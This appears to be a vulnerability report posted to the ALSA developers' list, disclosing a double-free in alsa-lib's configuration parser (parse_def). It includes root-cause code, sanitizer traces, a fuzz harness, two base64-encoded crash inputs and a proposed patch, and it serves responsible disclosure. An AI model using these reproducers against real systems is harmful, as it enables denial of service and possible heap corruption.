Security: double-free / invalid pointer dereference in alsa-lib config parser (`parse_def`) via crafted configuration text
Luigino Camastra <[email protected]> Mon, 8 Jun 2026 12:05:56 +0200
| Newsgroups | org.alsa-project.alsa-devel |
|---|---|
| Message-ID | <CAGt8pqBU0p2voB+qHxWGcNJrKHAcBhAyHUUBPLBN-Yj_SiV6MQ@mail.gmail.com> |
Dear ALSA maintainers,
I am writing to report a memory-safety issue in **alsa-lib**'s
configuration parser (`src/conf.c`). The bug was found by fuzzing the
public API `snd_config_load_string()`, and is reachable from any
application that loads attacker-influenced ALSA configuration text or files
(`snd_config_load`, `snd_config_load_string`, `snd_config_update`,
`~/.asoundrc`, etc.).
## Summary
When parsing a nested compound (`{ … }`) or array (`[ … ]`), `parse_def()`
calls `parse_defs()` / `parse_array_defs()` but **does not check their
return value before continuing**. On a parse error from the nested call,
the inner level has already deleted (and unlinked) its node via
`snd_config_delete(n)`; `parse_def()` then falls through and calls
`snd_config_delete(n)` again on an already-freed / unlinked node during
error cleanup. This corrupts the configuration node list and leads to a
**double free / invalid pointer dereference**.
- **Component:** `src/conf.c` — `parse_def()` (alsa-lib)
- **Observed in:** `alsa-lib 1.2.15.3` source tree (project label
`alsa-lib-1_2_15_3-3_1_hum1`)
- **Type:** Double free / use of freed list node (CWE-415 / CWE-416);
manifests as NULL-pointer write (CWE-476) or invalid read
- **Severity (our assessment):** Medium–High — denial of service is
reliable; double-free of heap metadata may be exploitable for memory
corruption depending on allocator and surrounding state
- **Crash function:** crash occurs inside `snd_config_load_string()` itself
(during parse), not in caller cleanup
## Root cause
`parse_def()` is missing the error/EOF guards that the sibling function
`parse_array_def()` already has. Compare the two.
`parse_array_def()` (correct — bails out on error before the close-char
check):
```c
if (c == '{') {
err = parse_defs(n, input, skip, override);
endchr = '}';
} else {
err = parse_array_defs(n, input, skip, override);
endchr = ']';
}
if (err < 0) /* <-- present here */
goto __end;
c = get_nonwhite(input);
if (c < 0) { /* <-- present here */
err = c;
goto __end;
}
if (c != endchr) {
if (n)
snd_config_delete(n);
err = LOCAL_UNEXPECTED_CHAR;
goto __end;
}
```
`parse_def()` (buggy — no `err < 0` / `c < 0` guard, so it deletes `n`
after the nested call already failed/cleaned up):
```c
if (c == '{') {
err = parse_defs(n, input, skip, override);
endchr = '}';
} else {
err = parse_array_defs(n, input, skip, override);
endchr = ']';
}
c = get_nonwhite(input); /* missing: if (err < 0) goto __end; */
if (c != endchr) { /* missing: if (c < 0) goto __end; */
if (n)
snd_config_delete(n); /* double-delete on already-cleaned node */
err = LOCAL_UNEXPECTED_CHAR;
goto __end;
}
```
Because the negative `err` from the recursive call is ignored, when deeply
nested input forces an inner cleanup the outer frame re-enters
`snd_config_delete()` on a node whose sibling list / child links were
already torn down, executing `list_del()` on freed memory.
## Impact / crash signatures (single underlying issue)
Both signatures below trigger at the same line (`parse_def` →
`snd_config_delete(n)` in the error path); the exact field that faults
depends only on heap state and whether the nesting used `{}` or `[]`:
1. **NULL-pointer write** in `list_del()` (`include/list.h:107`,
`p->prev->next = p->next` with `p->prev == NULL`), via `snd_config_delete`
→ `conf.c:2420`, reached through nested `{ … }` compounds.
```
UndefinedBehaviorSanitizer: SEGV on unknown address 0x000000000000 (WRITE)
#0 list_del include/list.h:107
#1 snd_config_delete src/conf.c:2420
#2 parse_def src/conf.c:1490
#3 parse_defs src/conf.c:1526
... (nested parse_def/parse_defs) ...
#N snd_config_load_string src/conf.c:2103
```
2. **Invalid read** in `snd_config_delete()` (`conf.c:2393`, reading
`config->refcount` of a wild pointer obtained while iterating a corrupted
child list), reached through deeply nested `[ … ]` arrays.
```
UndefinedBehaviorSanitizer: SEGV on unknown address 0x000400000012 (READ)
#0 snd_config_delete src/conf.c:2393
#1 parse_def src/conf.c:1490
#2 parse_defs src/conf.c:1526
#3 parse_array_def src/conf.c:1320
#4 parse_array_defs src/conf.c:1364
... (nested array parsing) ...
#N snd_config_load_string src/conf.c:2103
```
We treated these as **one vulnerability with two manifestations** (same
defective code, same trigger line, same fix).
## Reachability / attack surface
`snd_config_load_string()` / `snd_config_load()` parse arbitrary
configuration text. The parser is used pervasively in ALSA initialization
(`snd_config_update()` reads `/usr/share/alsa/alsa.conf`,
`/etc/asound.conf`, and `~/.asoundrc`). Any application or service that
loads ALSA configuration content that an attacker can influence
(user-supplied `.asoundrc`, configuration snippets passed to
`snd_config_load_string`, etc.) can be crashed, with potential for heap
corruption.
## Proof-of-concept
Fuzz harness (public API only):
```c
#include <alsa/conf.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
char *buf = malloc(size + 1);
if (!buf) return 0;
memcpy(buf, data, size);
buf[size] = '\0';
snd_config_t *cfg = NULL;
int err = snd_config_load_string(&cfg, buf, size);
if (err == 0 && cfg) snd_config_delete(cfg);
free(buf);
return 0;
}
```
Build the alsa-lib tree with AddressSanitizer/UBSan and feed the
reproducers below. Materialize them with:
```python
import base64
# (1) compound {}-path -> NULL write in list_del
open("crash_compound", "wb").write(base64.b64decode(
"Y29uZmxldmVsNSB7CmxldmVsMeKE9ZNuZmxldmVsNSB7CmxldmVsMeKE9ZOaiQAA//////8nJycnJycn"
"JycnJycnJycnJycnJycnJycnJz8AAAAAADBsZXZlbDAgewpsZXZlbDEgewpsZXZlbDIgewpsZXYnJycn"
"OCAqYWUnJyeaiQAA//////8nJycnJycnJycnJycnJycnJycnJyemJycnJ2NvbmZsZXZlbDAgewohZXZl"
"bDEgewpsZXb//////zD//3ZlbDAgewohZXZlbDEgewpsZXb//////zD//3ZlbDMgez8AAAAAADBsZXZl"
"eyMKbGlnIHsKNDpibGVkIHRydQFvZWxlbDMgc2xhdmV7PwAAAAAAMGxldmV7IwpsaWcgewo0OmJsZWQg"
"dHJ1AW9lbDAgewoKIA=="))
# (2) array []-path -> invalid read in snd_config_delete
open("crash_array", "wb").write(base64.b64decode(
"IWRlbHBjbS5jYXJkIDAKP2RlZmF1bClzLmltdWxwY20uPC8+PC8+PC8+PC8+PC8+cmQgMAo/ZGVmYXVs"
"KXMuaW11bHBjcGFyZCAwCj9kZWZhdWwpcy5pbXVscGNtLjwvPjwvPjwvPjwvPjwvPnJkIDAKP2RlZnBj"
"bS5jYXJkIDAKP2RlZmF1bClzLmltdWxbW1tbW1tbW1tbW1tbW1tbW2xldmVsMCB7CmxlZXZsewpsZXZl"
"bDEwewpsZXZlbD0gewolLTFsZXZsND17CmxlewpsZXZlbCsyIHsKbGxldnZlbDIgewpsIApiICMnCmIK"
"YiAjYS4xIJ7QwcOk0MG6Pjw0Lwo8PiI8ImV6IB4jYiMnCmItMSAjICMnCmIKGiMnCmggCmJbW1tbWyA="))
```
Both inputs reproduce reliably (clang `-fsanitize=address,undefined`):
```
SUMMARY: UndefinedBehaviorSanitizer: SEGV include/list.h:107 in list_del
(crash_compound)
SUMMARY: UndefinedBehaviorSanitizer: SEGV src/conf.c:2393 in
snd_config_delete (crash_array)
```
(The reproducers are fuzzer-derived and not minimized; a minimized testcase
can be provided on request.)
## Suggested fix
Add the same guards `parse_array_def()` already uses, so `parse_def()`
stops on a failed nested parse instead of re-deleting the node:
```c
if (c == '{') {
err = parse_defs(n, input, skip, override);
endchr = '}';
} else {
err = parse_array_defs(n, input, skip, override);
endchr = ']';
}
if (err < 0)
goto __end;
c = get_nonwhite(input);
if (c < 0) {
err = c;
goto __end;
}
if (c != endchr) {
...
}
```
This makes node ownership/cleanup happen exactly once during error
unwinding and removes the double-delete.
We have not verified whether current upstream `alsa-lib` already contains
this guard in `parse_def()`; we would appreciate confirmation of the
affected versions.
Credit: Dmitrijs Trizna · Luigino Camastra · Guido Vranken · Ze Sheng
Best regards,
Luigino Camastra Aisle Research